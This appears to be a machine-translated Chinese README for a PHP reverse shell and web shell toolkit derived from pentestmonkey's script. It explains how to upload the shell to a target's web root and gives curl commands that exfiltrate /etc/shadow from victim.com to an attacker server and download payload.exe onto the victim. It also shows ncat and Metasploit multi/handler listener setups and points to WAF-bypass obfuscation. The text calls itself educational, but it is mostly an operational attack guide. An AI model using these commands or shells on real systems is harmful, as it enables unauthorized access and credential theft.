在流行的PHP反向弹脚本pentestmonkey/php-reververs-shell上只是一些刷新。信用原始作者!
使用/bin/sh和Windows OS与cmd.exe一起使用Linux OS和MACOS。脚本将自动检测基础操作系统。
与ncat和multi/handler一起使用。
在XAMPP上测试了Linux V7.3.19(64位),php v7.3.19在Kali Linux V2020.2(64位)上进行了测试。
在XAMPP上测试了OS X V7.4.10(64位),并在MacOS Catalina v10.15.6(64位)上使用PHP v7.4.10进行测试。
在XAMPP上测试Windows V7.4.3(64位),Windows 10 Enterprise OS(64位)上的PHP v7.4.3。
此外,所有内容都在Docker Images上进行了测试Nouphet/Docker-PHP4,具有php v4.4.0和Steeze/Php52-nginx,具有PHP v5.2.17。
出于教育目的而设计。我希望它会有所帮助!
Windows OS上的进程管道不支持异步操作,因此stream_set_blocking() , stream_select()和feof()无法正常工作,但我找到了解决方法。
/src/reverse/php_reverse_shell.php需要php v5.0.0或更高。
/src/reverse/php_reverse_shell_older.php需要PHP v4.3.0或更高。
根据需要更改脚本中的IP地址和端口号。
复制/src/reverse/php_reverse_shell.php到服务器的Web根目录(例如,to/opt/lampp/htdocs/xampp上)或将其上传到目标的Web服务器。
使用首选的Web浏览器导航到该文件。
根据HTTP POST请求检查简单的PHP Web Shell。
根据HTTP GET请求检查简单的PHP Web Shell。您必须编码您的命令。
基于HTTP获取请求检查简单的PHP Web Shell V2。您必须编码您的命令。
在LCATRO/PHP-WEBSHELL-BYPASS-WAF上找到有关旧版本的PHP PHP php混淆技术的更多信息。归功于作者!
根据HTTP POST请求进行文件上传,检查简单的PHP文件上传/下载脚本,HTTP获取文件请求以供文件下载。
下载文件时,您必须URL编码文件路径,如果使用卷曲,请不要忘记指定输出文件。
上传文件时,请不要忘记在文件路径之前指定@ 。
根据服务器配置,通过HTTP获取请求参数下载文件可能并不总是可行,而是必须在脚本中硬核。
使用您喜欢的Web浏览器导航到受害者的Web服务器上的脚本,或使用PC中的卷发。
从PC上将文件上传到服务器的Web根目录:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
将文件从服务器下载到您的PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
如果您将初始特权提高到反向外壳中,则此脚本可能没有与外壳相同的特权。在这种情况下,要下载某个文件,您可能需要将文件复制到Web根目录并设置必要的读取权限。
从您的PHP反向外壳中,运行以下卷曲命令。
将文件从受害人的PC上传到服务器的Web根目录:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
从服务器的Web根目录下载文件到受害者的PC:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
要设置侦听器,请在Kali Linux上打开您的首选控制台,然后运行以下示例之一。
设置ncat侦听器:
ncat -nvlp 9000
设置multi/handler侦听器:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

图1 -NCAT

图2-脚本的转储